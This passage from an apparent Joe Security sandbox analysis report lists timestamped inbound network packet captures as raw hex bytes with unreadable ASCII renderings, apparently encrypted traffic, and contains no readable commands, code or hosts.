98 1d 43 5a a9 65 d9 35 65 40 8c d2 22 ea dd 88 ab bb 11 a6 4f a0 1f 13 42 a3 e8 cd d5 f6 4b a4 83 02 dd 34 2c db a5 8c 
30 eb da f0 2a 13 0d e6 f1 70 c3 64 38 36 ef 5d 41 00 43 6e 35 a6 52 84 b0 ed 64 6a 73 56 1d 4e f4 f2 45 16 83 2b b5 f8 
39 15 f5 8f d7 ab d0 fa 39 dd ef 13 05 29 48 ce b2 
Data Ascii: u>^o&ZzYA6xr%Cl6j:D9=QH9smgr$ZKuB",CLy1.-U/l";y1q ?|S8W'1CZe5e@"OBK4,0*pd86]ACn5RdjsVNE+
99)H

2021-10-12 07:38:07 UTC 39 IN Data Raw: 65 b0 f5 41 07 cd bc b5 36 bc 95 fd 25 a0 1a 10 af 5f 57 ef e0 1d 53 30 6e 75 ad 8b 86 9a e4 21 1a 9e 67 a6 9e 
29 1b 42 01 49 e6 7f 8f 4f 52 5f 7b 0f e2 bc 11 4e 1c f6 bf e4 9b 20 c8 11 4c cd 0d 33 55 ca f4 41 47 ca fd cc a4 17 ad 66 
3e 7d 7c 8e c3 0c 2e 74 82 37 a3 f9 3c d8 24 a0 bc 64 14 28 9c 67 77 15 41 d3 e0 b4 40 7d a0 b2 6b f8 03 c7 df 79 d0 c8 
0c 79 f6 a0 47 e4 99 60 2e 5b 07 e5 29 dd b0 7c d1 23 a5 11 9f 77 1a ae cb 7c 0e 64 8f 63 ba 53 b8 73 be a5 6b b3 ed 45 
0f 35 83 63 67 f7 4e fc a0 55 49 02 3b d6 20 45 d2 59 16 f6 ef 8c a0 97 7c 95 c6 9e 56 66 4b fc bb 09 af e2 59 1e f4 33 f0 
a3 6d f1 85 f7 a7 ee d8 0a 3d a4 3f 38 b4 ab 24 cb 92 7e 42 87 38 0a 89 84 8c 8c 42 96 49 65 e3 56 ed 60 e4 50 46 5a 5d 
c1 96 a3 f3 95 a2 6f 08 ee e9 06 89 1f 2f dc de 
Data Ascii: eA6%_WS0nu!g)BIOR_{N L3UAGf>}|.t7<$d(gwA@}kyyG`.[)|#w|dcSskE5cgNUI; EY|VfKY3m=?8$~B8BIeV
`PFZ]o/

Timestamp
kBytes
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2021-10-12 07:38:07 UTC 40 IN Data Raw: 25 18 49 b0 26 61 ea 60 87 8c a6 c3 bf ad 74 88 44 d7 cc 15 5c 09 91 4e 46 39 35 52 2d 1c d7 c3 8e 9e e9 4d 
57 0c 96 a8 ec 8b a7 0a 94 d2 02 73 07 bc f0 a9 32 69 41 2c 38 cf 6b 6e 1c 2a f1 bc 3d ce d9 35 d0 68 11 b0 34 af 88 10 
f8 fa 73 3c 8e f4 62 ae 36 34 62 52 02 f9 52 97 a5 8d 31 ab 58 f1 89 59 bb 3a 71 1e a3 71 3e 9d f1 55 f1 55 09 04 ab d1 01 
11 a9 70 90 f6 1d bf d1 27 c6 21 d4 ab e7 bf 16 94 16 88 76 3d d3 cf 0e 2c c6 89 c1 2d ef c8 9f 90 1f 2b af 5e a9 96 05 4c 
3c 59 db f8 5c fc 7e 9e cb cf f3 a4 d8 94 8c 31 ec fe f1 b5 a1 1a ff 03 d0 c6 72 21 37 cf 50 96 13 41 77 2b be 4d 02 89 68 
ba 7d fa c9 43 67 ee f9 68 88 75 b9 a7 ff cd 12 e7 8c d0 a4 b6 bc 3c b2 7d ce 2f 2f 27 d3 a3 1c 50 67 9a 53 9c fe fa 3c f6 
44 ec b9 a5 b0 74 10 72 46 45 51 dd c7 22 79 
Data Ascii: %I&a`tD\NF95R-MWs2iA,8kn*=5h4s<b64bRR1XY:qq>UUp'!v=,-+^L<Y\~1r!7PAw+Mh}Cghu<}//'PgS<DtrFEQ"y

2021-10-12 07:38:07 UTC 41 IN Data Raw: b0 b7 8b 8c b6 37 cf 3f 8f 2e d6 a5 29 44 43 2d 54 84 c4 fa 74 58 55 7c 48 71 bc 11 42 af e2 aa c1 b9 3f 5e 10 
46 ca 74 29 41 ca fe 53 49 f3 c0 d8 8c 73 70 61 3e 04 26 89 c3 06 05 67 bc 23 8b 50 20 d8 2e 8a ad 62 14 40 f9 76 64 01 
69 bc e3 b4 46 6d 2d cf eb f8 17 c9 cb 6d f9 73 3c 7a fc dc 57 e4 99 3d 3d 5f 1f ef b6 e7 88 3c d1 35 8d 89 8f 72 0f 8f 2b 
6c 26 72 0a 4d be dd 0e 5a 2a 3d 6a b3 f8 67 12 e0 ca 72 62 ef 98 e9 8c 41 45 13 14 e2 2f 95 9e 71 32 f4 c7 92 cf 47 76 
86 cb 93 56 6b 35 98 bf 17 5b f0 7c 0e cd f7 fd a3 56 97 85 e6 a4 7d ec f4 3c 89 39 38 ad 85 13 92 92 78 60 b5 16 0d 85 
e0 81 1c 46 9c 56 78 f9 5f 9e e8 e0 4f 43 b7 56 fc 97 a7 57 a8 d2 6c 09 c2 de 8c 9b 1a 25 dc f2 81 bd f6 cc d4 f5 40 cf 7d 
61 51 9c cd 72 4a f1 46 08 81 f9 a4 ec 32 cd 8e 
Data Ascii: 7?.)DC-TtXU|HqB?^Ft)ASIspa>&g#P .b@vdiFm-ms<zW==_<5r+l&rMZ*=jgrbAE/q2GvVk5[|V}<98x`FVx_O
CVWl%@}aQrJF2

2021-10-12 07:38:07 UTC 43 IN Data Raw: 26 33 01 09 39 ff f5 9d 96 f2 56 66 32 32 b9 e4 96 6f 96 94 c9 0d b3 88 be e9 a3 35 de 6e 51 df 26 08 6e 1f 26 
31 33 27 d7 ce 32 66 47 98 51 dd cc 47 17 c3 c4 d8 2d 86 e1 78 90 82 1d 6a 4d 02 31 ce 80 87 95 10 bd c4 e0 c0 66 b9 
23 76 08 bc 7d 88 85 f0 55 96 55 87 b3 bf c4 db 06 70 fd bb f6 07 be dd 24 d9 2e dc bd f4 31 a1 8b 30 57 5e 27 e8 ca 04 
5f 5e 88 c1 2b e6 ce 80 81 81 30 a8 5e be 86 00 44 d2 ee ca ec c4 58 ae b1 17 db 25 29 f3 85 86 2f ef 08 f8 17 07 03 c7 7f
c0 c3 6e b2 9a e7 4a 96 00 4e 60 32 a4 51 0a 16 d5 b4 61 8a 7f b5 46 cc 1b 6a 82 5d 3a bd ec cd 03 f0 85 cf 4e be 81 20 
df 35 84 2f 29 4a e7 b6 1c 5a 7e b6 35 99 d6 51 14 e7 4e e6 6d b8 8c 4f 2d 72 57 45 5d c6 2d 29 7d 51 62 b0 8d 42 43 cf 
22 a9 1a a2 b8 a7 2f 6d 16 6c 82 eb 08 e3 17 08 8d b4 
Data Ascii: &39Vf22o5nQ&n&13'2fGQG-xjM1f#v}UUp$.10W^'_^+0^DX%)/nJN`2QaFj]:N 5/)JZ~5QNmO-rWE]-)}QbBC"/ml

2021-10-12 07:38:07 UTC 44 IN Data Raw: a2 94 bc 45 c0 22 b9 c7 a5 04 cd 3a 6c d1 1d af 45 50 f9 49 64 6e c6 cc a2 72 d1 61 38 18 87 9f ca 2e 89 70 a8
31 cc fa 21 d8 2e 8f b8 6b 18 61 fa 76 64 02 97 c0 e5 a5 45 6a a6 46 5c ca d8 d5 f7 3b d2 db 3a 52 78 f7 46 e2 b1 82 2e 
5b 10 f9 e4 cd ad 14 e7 23 a5 1b 9d 76 76 1c 35 7d 28 60 ae 4a be dd 05 92 02 a3 41 b2 e2 4b 1c 30 83 72 62 98 c5 fd 99 
5b 4f 00 12 d2 13 41 d4 f8 33 f6 ef e5 cf 47 6d 8a d0 ad 1b 63 4b e7 96 98 52 e3 73 30 fb ff ef a0 73 fd ad 5f a2 f1 d5 ff 4f 
37 2a 3e b6 89 3c a7 45 78 6a a9 2b 05 95 f8 52 b4 0f 9d 56 69 e1 5c fc 7f 7b 5c 4d b5 58 c5 ac b5 7e 8a 8f 6a 31 f6 f7 16 
9a 0b 2b be 56 a8 cc f3 df d5 44 c9 eb 55 5c 40 96 d5 48 6a ab 7d 08 87 db e3 f8 33 c7 9f 75 3b 78 09 34 66 7f 01 84 0f 74
a0 b0 cf 3a 25 e9 40 f2 70 79 6e d0 da 5f 
Data Ascii: E":lEPIdnra8.p1!.kavdEjF\;:RxF.[#vv5}(`JAK0rb[OA3GmcKRs0s_O7*><Exj+RVi\{\MX~j1+VDU\@Hj}3
u;x4ft:%@pyn_

2021-10-12 07:38:07 UTC 45 IN Data Raw: 60 b0 24 ff 43 22 5c 41 f7 7f 1e 22 ed 5e b4 c6 c5 29 5f 71 0f bc 2b 5c 11 19 e6 ea f8 f7 95 f8 78 b4 92 de 6a 4d
08 fe c7 97 a1 ba ad be c4 e6 ee d8 b8 23 70 20 24 7e 16 81 e6 7d d5 57 87 b9 a2 81 0d 06 7f fd aa ff 0c b2 f5 bc da 2e 
da d2 6f 30 a1 8d 0a 54 4f 2e c3 c3 2c c5 52 88 c7 44 76 cf 80 86 81 0a be 57 b9 89 28 df b1 ee cc 92 58 4a a4 8f 39 60 
25 29 f5 87 84 21 e9 e2 07 3a 07 0d 91 41 c1 c3 6e 28 0f c9 4a 97 19 5d 81 3c d7 77 2f 16 d8 87 59 5c 35 98 4f fe e9 61 
93 51 0d c3 fc c7 05 8e 05 d6 b0 b9 c2 a4 dd e5 c5 3e 2e 60 78 a2 1c 5c 67 96 53 9e fe c9 3d f6 44 cb 24 a5 9f 74 b5 73 
46 45 6f e0 c2 20 7d 46 00 95 9b 6a cd df 2f be 01 3e b9 c8 07 6e 02 7e 87 ce b1 e9 78 26 a7 a5 f4 aa 7a 42 07 6f 54 ba 
fb d5 6e cc 6f 35 21 c2 49 ac 1a 94 ea 16 dc 32 8b 
Data Ascii: `$C"\A"^)_q+\xjM#p $~}W.o0TO.,RDvW(XJ9`%)!:An(J]<w/Y\5OaQ>.`x\gS=D$tsFEo }Fj/>n~x&zBoTno5!I2

2021-10-12 07:38:07 UTC 47 IN Data Raw: 1b 72 61 32 01 ac a6 66 05 04 75 bb 3a b1 f5 08 7f 27 a2 ba 71 18 58 f8 4f 4f 17 41 d5 f3 bf 52 70 b1 cf fa ff 79 
d5 de 79 db c9 3e 52 31 f4 46 e2 8a 3f 28 73 4f f1 3a de e7 14 d2 23 a3 17 9f 75 6a 75 35 7d 28 05 a2 70 be db 09 64 9e 
a5 6b b9 e3 4d 73 e6 83 72 68 c5 d9 fc 8c 4b 20 1c 12 c9 29 2a f2 73 32 f0 e9 ae 67 44 7c 93 a3 af 47 63 4d eb b5 c9 44 
c6 5d 2f df ff e5 b9 77 87 a7 e4 a2 f7 d8 dc 04 88 2a 34 62 83 3c e2 93 68 6a a3 38 0a 85 eb af 75 42 89 4c 69 f0 52 f6 41 
e2 4f 15 a4 5c ed c3 b5 7e 91 d1 d0 09 c4 fc 1c 9c 64 03 cc db ad e4 e2 ce d2 9c f3 9a 7e 6b 46 be c7 59 62 85 2a c2 87 
d1 34 33 3c e2 b7 53 3c 50 6e 3b 4e 41 6e 03 04 aa a6 9b b4 2e 26 e8 44 da 76 7f 46 58 f3 0b e8 54 42 75 a9 3b bb dd ae 
23 be 6f 66 0f 25 dd 29 af 8a af c2 1e 4b 34 28 
Data Ascii: ra2fu:'qXOOARpyy>R1F?(sO:#uju5}(pdkMsrhK )*s2gD|GcMD]/w*4b<hj8uBLiRAO\~d~kFYb*43<S<Pn;NA
n.&DvFXTBu;#of%)K4(

2021-10-12 07:38:07 UTC 48 IN Data Raw: 09 e3 c4 4f 2d 86 e1 43 13 a9 25 6c 65 a8 ef ce 8c 85 33 3a bd ce eb 86 7a 88 23 76 02 85 ab 16 87 f0 52 88 
da 86 b3 b2 d2 dd d8 6b d8 93 c1 1d be d7 36 de 28 d1 95 dd 31 a1 81 c4 74 5c 27 d2 de 02 77 fd 8b c1 2d 93 49 81 80 
94 2d ad 58 82 93 11 42 dd 66 cb fd d4 5c 7e 9a 07 cb 2d 11 7f 94 8c 30 f0 f0 e8 33 01 6a 66 d8 c1 c5 77 37 36 e1 5b 9f 
09 24 f6 3c b7 5d 19 0c ce ad 69 7c 67 f6 c6 f5 f8 6e 91 57 34 ae d7 55 02 e1 85 fa f8 ae a6 11 4f e4 cf 25 04 77 de a8 34 
c8 75 9e 48 b5 e0 28 1e f4 4e e0 74 b8 84 50 36 7b 29 67 40 da d5 39 5d 61 78 d8 bd 68 cb ca 33 a3 1d 25 d0 81 2d 6c 
04 69 9a eb 0d e0 17 04 ca 8f f0 bb 71 55 1e 0c 1d a3 fa d3 75 1f 48 50 0a f5 4f c3 3a 85 e7 38 e2 23 86 6d cb 74 54 cb 10
44 72 37 6a e8 25 78 5b a9 52 c1 98 15 27 c4 c8 40 97 28 
Data Ascii: O-C%le3:z#vRk6(1t\'w-I-XBf\~-03jfw76[$<]i|gnW4UO%w4uH(NtP6{)g@9]axh3%-liqUuHPO:8#mtTDr7j%x[R'@(

2021-10-12 07:38:07 UTC 49 IN Data Raw: 76 3d 84 d2 e0 be 7a 0a 5f 37 14 26 18 cf c8 87 c7 c7 3c 7a ed 9b 11 e4 99 3d f2 4a 19 e4 ec cb 87 2d df 32 b3 
2f ce 8d fa 5c 33 12 e4 6b 86 78 d1 1a 0e 4c 08 b6 73 98 ac 59 04 18 4b 73 62 e7 a3 ee 9d 52 20 25 11 c9 25 2a 19 71 32 
fc f8 b7 89 34 5e 97 cc 83 56 77 5a f9 af 04 3e c4 77 18 d9 90 c7 a8 7e f2 94 f2 b3 e2 bc d7 3e 88 2c 51 98 81 3b ce 83 6c 
7b b0 57 2f 81 eb 5a e3 64 9e 56 6f e1 47 c5 cc e2 4f 4f cb 76 ef 9d b3 6f 84 b3 7b 66 df f7 16 90 08 37 e5 12 a8 cc ff e1 
4b 44 d5 dc 65 95 56 88 df 5b 79 ec 12 08 87 db e2 fc 36 ed 9f 64 3d 78 64 37 64 79 92 03 a3 dd a7 93 ca 02 27 e8 42 f2 
b8 7c e5 22 d9 51 eb 54 44 5d b2 39 22 d9 b9 f8 bd 61 6c d1 2b f8 1a a8 80 af 80 12 63 0c 42 db 5a bc 71 dd 80 57 fc 3e 
ea d3 15 ad 24 6d f9 9a 21 fc 90 b7 5e e1 ac 5a 
Data Ascii: v=z_7&<z=J-2/\3kxLsYKsbR %%*q24^VwZ>w~>,Q;l{W/ZdVoGOOvo{f7KDeV[y6d=xd7dy'B|"QTD]9"al+cBZ
qW>$m!^Z

2021-10-12 07:38:07 UTC 50 IN Data Raw: 10 ec 01 9c 50 6f 6f 8d c7 da 4b 8d e7 a2 90 f5 0f 05 fe 8d 59 53 40 71 f4 4d 82 9b cd 0c b4 89 9d 29 be e4 c4 
0d 87 1b ee ae 33 87 9b f2 17 42 2f 2b be ad 8b 97 87 2f ff 6b 8f 63 d3 fb 29 1b 52 5e fa f7 7b f0 7e 54 21 51 61 b5 b8 39 
53 c2 28 ac e9 e1 14 c8 17 6e d8 19 be 46 a5 3e 40 4c e8 1b c2 81 35 44 61 38 18 a7 a6 fb 06 04 79 76 37 a5 86 0b d9 24 
a6 94 75 16 4a f2 4f 33 16 41 d5 c8 ad 42 7b a6 a7 21 f8 16 d7 01 77 f4 f3 0b 7a f6 fe 4b cc a1 37 2e 51 c8 f3 3c f2 89 20 
d0 23 a5 11 88 72 19 81 35 73 38 6a 86 73 be dd 3f 4c 1e e9 6b bd e8 4b 1c 31 98 42 6b ed 54 ff 8c 41 23 00 13 d8 50 fa 
d4 71 38 fc 91 1e cf 47 76 99 b2 1d 45 63 41 fe bb 69 7f e2 75 1c f7 e8 ed aa 78 f9 8c ce 63 f2 d3 f2 14 28 2a 3e b6 ab 9a 
c8 92 72 79 a7 29 0e ab da 5c 8c 48 b1 51 6f 
Data Ascii: PooKYS@qM)3B/+/kc)R^{~T!Qa9S(nF>@L5Da8yv7$uJO3AB{!wzK7.Q< #r5s8js?LkK1BkTA#Pq8GvEcAiuxc(
*>ry)\HQo

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 142 of 181



2021-10-12 07:38:07 UTC 51 IN Data Raw: 14 1c 2e 39 5f ba eb be 0f c5 07 f5 72 05 39 4b 1e c2 c8 b6 b1 74 14 e1 a7 f3 0b 45 71 2a 7c 26 51 21 87 a1 ac 
73 b6 44 85 52 0a ce cb 2a 20 b3 4c 57 20 2a d5 17 16 ff 12 9e 96 fe 2a 69 18 0a bf f5 96 a0 91 ea fe 18 65 9d bc f2 a1 20 
9a 76 26 22 df e6 75 3c e0 e4 20 2a a9 ef 21 4c 7f 1f bc 28 5c 82 19 e6 e6 fe 23 e9 20 6b b8 a0 1f c7 b3 f7 10 10 90 bc 9c 
4f 86 c4 e0 80 7e b5 32 78 7d 87 7d 16 86 9f 02 fb 57 8d 6f 6a d4 fe 2e 48 fd bb fc 0e b3 ae 9a d9 2e d6 b6 cd 09 a1 8b 13 
8c 5c 21 f8 c8 2e 5f 51 88 80 1f fc ce 82 80 92 00 f6 5e a8 85 63 45 b2 ee 76 fc d2 4b b2 89 11 d8 25 29 f3 94 8c 30 e1 f6 
ff 3b 16 05 21 d8 c1 c3 b0 3f 27 e7 5f 97 13 4b 65 3d b7 5a 19 37 da ab 7c 75 7e 99 21 f4 f8 79 94 4e 20 9f 0a c7 03 e1 8f 
c6 b5 a4 53 38 f1 e0 e4 47 35 5b ca a2 
Data Ascii: .9_r9KtEq*|&Q!sDR* LW **ie v&"u< *!L(\# kO~2x}}Woj.H.\!._Q^cEvK%)0;!?'_Ke=Z7|u~!yN S8G5[

2021-10-12 07:38:07 UTC 52 IN Data Raw: 65 b0 44 cf 00 e7 b1 b7 29 fe d9 fb 0d 87 1a 10 a5 58 87 ef e0 64 42 34 01 65 ad 8b 8c bb 2c ff 37 95 63 d3 a4 
2b 1b 43 2d 7e f7 7b fa ce 52 5f 7a 95 b5 bc 11 52 c0 28 aa c1 b3 17 c8 11 46 c0 1b b8 40 ca f4 58 4d e2 c5 d2 a5 1d 73 
74 38 12 ab 94 c3 06 05 68 98 34 a3 b8 21 d8 24 d3 bc 62 05 39 4b 67 61 1f 4b ad dc b4 40 71 88 11 e8 f8 10 ca b0 44 d1 
db 36 57 f1 f2 4d 39 86 36 2e 5b c8 e7 1f f0 bf 3c d0 29 b6 15 88 79 2d 9b 35 7d 28 b7 8f 73 be dd 71 70 02 a5 61 9b 2b 
48 1c 36 94 1d 5f ed b0 f7 80 49 20 b4 12 c9 29 48 dd 62 3c e0 fc 8b f7 85 7c 95 cc 94 4b 72 46 77 ad 12 2f df 75 18 d5 d7
35 a9 7e f2 94 e3 8a d5 d3 f4 36 9f 45 03 bc 83 31 db 94 50 7d a2 38 00 92 ed 74 57 41 9c 50 06 45 52 ed 7b 95 5d 49 a4 
47 82 81 b4 7e 8a b1 64 18 c2 de ca 99 1a 29 a2 6e 
Data Ascii: eD)XdB4e,7c+C-~{R_zR(F@XMst8h4!$b9KgaK@qD6WM96.[<)y-5}(sqpa+H6_I )Hb<|KrFw/u5~6E1P}8tWAP
ER{]IG~d)n

2021-10-12 07:38:07 UTC 54 IN Data Raw: 25 1e 58 65 0e 84 35 60 90 f9 04 c3 be bc 68 aa 55 3f dd 10 74 ba 92 4e 51 33 2f f7 4e 1d d7 c8 8a 0c d0 af 42 
1a 0c ac f2 b4 f9 97 85 d0 0c ff f4 89 fa b0 22 e4 55 0c c9 da f7 79 7b 93 e7 20 26 ea f4 32 4a 68 1c 85 c9 30 99 1e f3 fa 
c7 65 87 eb 61 af 30 0d 86 4e 08 e9 db 90 85 da 3b bd ce f6 1b 7a ba 22 76 0e 94 dc 16 87 fa 3a dd 55 87 b5 9f f2 ca 03 
57 10 b8 f6 1b d1 7f 25 d9 24 f0 98 f4 37 b0 8e 31 bf 5d 27 d4 da 12 77 19 89 c1 21 eb 54 a8 6c 91 00 a9 4b be ad 48 45 
b2 e4 dc 67 bd 6d a6 89 17 c9 23 01 1d 97 8c 36 8e dc fb 3b 10 03 fe df ae d8 65 3e 2d f6 40 f8 d8 4b 7f 37 8d 90 f4 f8 20 
75 6e 65 74 ec 74 f4 f8 69 ae 51 34 ad 8a fc 03 e1 8e b8 e7 bf ad 33 01 f4 c7 38 ff 5b c7 b3 14 4b 7d 10 f5 a7 ac a5 c3 09 
90 f3 42 9c a2 5c 27 78 55 48 31 65 d3 28 5b 
Data Ascii: %Xe5`hU?tNQ3/NB"Uy{ &2Jh0ea0N;z"v:UW%$71]'w!TlKHEgm#6;e>-@K7 unettiQ438[K}B\'xUH1e([

2021-10-12 07:38:07 UTC 55 IN Data Raw: b4 a0 95 9f a5 2c ee 25 90 46 2d a4 05 17 45 3c 4d 98 60 fb 74 58 40 5c 73 a7 bc 00 56 df 26 54 c0 9f 10 de 
02 56 df 14 ad 52 ca e5 52 53 f1 3b cd 88 14 62 6b 2f 88 a7 91 d7 15 16 73 b9 25 bc ee de d9 08 a8 ad 68 03 d0 e7 6b 7e 
02 52 c1 e0 a5 52 64 bf 36 ea d4 19 cc cf 68 c0 55 8b 45 b6 f6 46 e4 86 17 3d 49 16 e2 28 c7 83 c2 d1 0f ae 00 80 63 08 
39 26 7a 3d 66 95 60 be cc 1d 53 26 5b 6a 9f e2 5a 14 18 80 76 62 eb df d7 8e 41 49 1f 36 da 31 45 c5 63 2d ec 11 87 e3 
4c 54 97 c8 85 43 70 4e f2 a5 04 43 e3 64 0a c0 f6 11 ab 52 f3 93 f5 af ee d9 e7 2e 88 3b 2c a3 96 c5 c9 be 6e 7b a9 2e 
90 ab 73 5f 8c 44 8a 7e 47 f0 53 e7 67 d2 6c 56 b2 4f ff 9d a4 6c 9f 80 91 08 e8 fb 07 92 0b 29 a2 ff ab cc f3 d3 f1 89 c9 ce 
6c 79 5f 8a 21 5a 4e 95 54 02 91 4b 16 2c 30 c7 99 
Data Ascii: ,%F-E<M`tX@\sV&TVRRS;bk/s%hk~RRd6hUEF=I(c9&z=f`S&[jZvbAI61Ec-LTCpNCdR.;,n{.s_D~GSglVOl)l
y_!ZNTK,0

2021-10-12 07:38:07 UTC 56 IN Data Raw: 04 38 df 0c 0b 5a 83 9d 96 f9 56 54 0b 1f af fb 91 2c 87 90 b5 47 65 9b a7 eb bb 32 e4 5b aa 95 c1 2d 6c 03 22 
f7 18 f6 c6 c5 23 5d 72 08 bd b8 1b 90 1c e6 ea 80 2f 87 eb 61 a9 a1 34 7a d7 20 e5 ca 86 ab fd dc bc c4 ea 97 ac bb 7c 
5a 10 ad 76 07 97 6a 43 ea 5c 96 a3 2e ae 16 06 7f f7 a3 2c 72 4d dd 25 d3 22 cd b6 f4 21 3b a3 12 56 5e 21 bd cd 05 5f 
5b 99 ca 3a ec d9 56 1a ba 0c ab 5e ae ea 02 45 b2 e4 95 d1 a7 5a af 98 01 42 33 38 f8 85 9c aa 8e 3b f9 3b 1c 12 35 b6 
32 c3 64 34 34 e2 5b 9c 02 5b 68 eb 2d 4d 1b 0c ce bb 6f a2 e4 f6 82 f4 f8 62 9a 87 4a 54 ff c7 09 f2 89 a4 92 bd ad 3f ce 
f4 de 2a 46 85 cf a2 16 40 45 b0 53 89 de 34 14 f4 4e e0 76 a5 84 5a 48 56 44 4f 44 cb c2 39 54 1f 55 b5 99 6c da dd 0a 
a2 08 2f b9 c8 05 6e 02 7e 90 d2 b1 8c 0c 03 a5 af 
Data Ascii: 8ZVT,Ge2[-l"#]r/a4z |ZvjC\.,rM%"!;V^!_[:V^EZB38;;52d44[[h-MobJT?*F@ES4NvZHVDOD9TUl/n~

2021-10-12 07:38:07 UTC 57 IN Data Raw: b5 bc 11 42 c0 cf 47 c1 a6 0d c8 11 47 db 2b ba 40 e3 f5 40 4c 94 c5 cc b5 6e cc 61 38 18 a1 a6 78 04 04 75 
80 fb a3 f8 2a f0 3f a6 bc 64 3c f1 f6 67 67 3d 8d d3 e0 be 68 67 a4 c8 ed d0 32 dd df 73 c7 f3 d6 7b f6 fe 6e c3 99 37 24 
48 13 e2 3f f0 b9 3c d0 29 88 1a fd cd 05 a3 3f 76 ff b7 86 72 be cc 0a 64 5e a5 6b b5 ff 42 34 d4 80 72 64 c5 55 fe 8c 47 
67 5d 13 c9 25 56 d0 78 1a 11 ec 86 c9 6f 94 96 cc 83 6d 3e 4b ed b8 04 57 ea 5d f1 dc ff e9 82 94 f7 85 e0 8a ac d3 f4 3a 
9b 22 37 94 9e 3f c8 94 50 74 a7 38 0c ab b6 5c 8c 44 8f 51 60 d8 4c e9 71 e7 67 69 a0 5c eb b5 e8 7e 80 a4 63 18 cc de 
38 98 1a 29 db f3 87 cc f5 c6 c4 b4 88 bd 5f 69 40 90 cc 52 73 8a 54 0c af 37 3d ed 34 d6 99 4c 1b 50 64 3d 09 51 6c 03 
08 65 af 8c c2 6d 03 ea 40 f4 70 74 57 59 b4 79 
Data Ascii: BGG+@@Lna8xu*?d<gg=hg2s{n7$H?<)?vrd^kB4rdUGg]%Vxom>KW]:"7?Pt8\DQ`Lqgi\~c8)_i@R
sT7=4LPd=Qlem@ptWYy

2021-10-12 07:38:07 UTC 59 IN Data Raw: e9 b8 33 ed dc 1b 22 d9 f6 dd 05 39 f3 34 38 ee 6d 23 4c 73 31 bc 22 33 93 0b e2 eb fb 05 39 e8 6b be b2 a8 
6d 4d 08 ee dd 8e bc 9a 2c a6 d5 e6 57 de 86 23 76 09 1e 6c 1e 90 ec 44 fd 81 9c a2 b2 17 01 8a 40 fd bb f7 bf af d5 31 
cd 3a f4 15 e5 31 ab a3 08 52 5e 2d c1 c8 15 5b 79 29 c1 2b f6 d1 90 a8 7e 01 af 54 b9 83 da 53 68 f1 e5 ec d5 63 05 89 
11 d2 3a 39 db 78 8d 30 eb 20 e6 02 4b df fc dc c9 d2 61 16 ca e6 4a 9d 9f 0a 7f 3d b6 73 3d 06 df a1 74 65 78 8e 99 e7 
fe 79 84 4c 2c 99 c1 38 fc 1e 87 ff 11 bf ad 33 d7 3b dd 07 1e 48 cf a8 34 74 76 9e 44 92 fe 63 3c f6 44 38 67 b2 bf 5c 27 
33 5a 4f 42 da d3 28 51 70 73 b7 99 10 ca cc 22 d5 0d 2f bf b5 2f 6c 02 62 96 c3 a1 f8 27 05 a5 a3 f3 bb 77 2d 0f 00 63 ba 
f1 d1 69 ae a3 74 22 c8 50 9c 03 9e e8 07 b5 2f 87 
Data Ascii: 3"948m#Ls1"39kmM,W#vlD@1:1R^-[y)+~TShc:9x0 KaJ=s=texyL,83;H4tvDc<D8g\'3ZOB(Qps"//lb'w-cit"P/

2021-10-12 07:38:07 UTC 60 IN Data Raw: 1d 0f 60 38 12 a4 8e c3 06 1e 73 a8 36 a1 f8 20 d8 78 a2 bc 62 29 4b f4 67 f8 14 41 d3 f6 b4 40 7b a0 c8 eb f8 
0d ed db 79 90 da 3c 7a 76 f4 46 f5 ea 88 2e 5b 1c f8 12 98 8c 3c d6 2e 8d 50 8a 72 03 a9 3c 55 60 6e 86 74 96 f3 0d 4c 
04 8d 83 b2 f2 41 34 91 83 72 68 fe b6 f4 a4 d9 4c 00 15 e1 0d 47 d4 77 1a 1e ee 86 c5 6f dd 95 cc 8f 56 67 4d c5 4f 14 
51 e5 5d 36 dd ff e9 82 96 f5 85 ec 8a 50 d3 f4 36 9b 2d 38 94 1b 38 c8 94 50 44 a1 38 0c ab 03 5d 8c 48 b4 f7 69 f0 59 fe 
74 f0 49 61 8a 5e ed 9b a3 56 ae a2 6f 03 d2 08 17 8b 1d 07 e3 d9 a9 ca e3 e4 fc 9a db c4 6b 95 41 c9 f3 5c 76 8f 98 af 
87 d1 3e fc 34 ef b1 66 3c 56 72 1f 48 79 6e 09 18 5a e6 ee e8 00 27 ee 53 fa 70 75 6e 07 d9 5f ed 3b 6c 5f b0 3f aa d3 d0 
ef d1 4b 6e d1 2d e9 09 89 8e 87 ca 12 63 0a 47 
Data Ascii: `8s6 xb)KgA@{y<zvF.[<.Pr<U`ntLA4rhLGwoVgMOQ]6P6-88PD8]HiYtIa^VokA\v>4f<VrHynZ'Spun_;l_?Kn-cG

2021-10-12 07:38:07 UTC 61 IN Data Raw: 18 ec fa 11 2f 97 e0 04 75 aa 25 60 5b f6 ed 91 aa 88 83 31 95 34 e0 81 54 aa 27 67 02 94 8d 16 87 f6 5e ea 
5b 91 29 9c 13 d9 06 79 d5 95 f4 1d b8 b2 58 d9 2e d6 b1 f4 35 ce 46 19 52 54 30 2c cd 03 30 9c 88 c1 21 eb 30 82 df be 
34 dc 7c aa 85 06 57 bf ff c7 f5 bd 63 a6 89 17 c9 28 38 f7 fb a8 32 e1 f0 e8 36 11 6a c9 db c1 c5 75 33 0f ae 4e 97 15 24 
55 3f b7 5d 0c 16 d2 c4 63 75 7e 93 91 e1 dd 40 b5 5d 25 ad ec c9 70 5e 8f d7 ba b2 85 01 dd e5 c5 f1 10 59 de b5 ca 49 
65 8f 53 89 c4 d5 8b c9 96 18 98 4b 84 5a 30 a4 55 49 53 dc c2 38 6f fb 8d 48 66 b4 de e9 0a 98 0c 2f b5 b4 20 1f bd 78 
96 c9 ad cb 2f 02 a5 af 2c b9 71 79 06 2a 72 b8 ba e7 7f c1 47 75 22 c2 8a c3 30 96 37 10 da 23 24 66 15 74 50 c3 07 92 
7b 3f 7b e1 34 6e 65 c2 ff 3e 67 3d 0e c6 c8 46 3d ae 
Data Ascii: /u%`[14T'g^[)yX.5FRT0,0!04|Wc(826ju3N$U?]cu~@]%p^YIeSKZ0UIS8oHf/ x/,qy*rGu"07#$ftP{?{4ne>g=F=

2021-10-12 07:38:07 UTC 63 IN Data Raw: 70 3d 0a d2 e0 be 42 53 c9 c9 eb f2 79 c1 de 79 db c8 38 6b f2 dc b1 e4 99 31 23 44 42 7e 11 d8 88 3d c3 24 
b4 16 98 52 f6 a3 35 7d be 7b 81 65 a1 fb 93 5d 05 bd 4b 32 f2 4b 1c ac 92 75 7b cd 74 fd 8c 41 d3 11 14 d3 3c 7c 48 60 
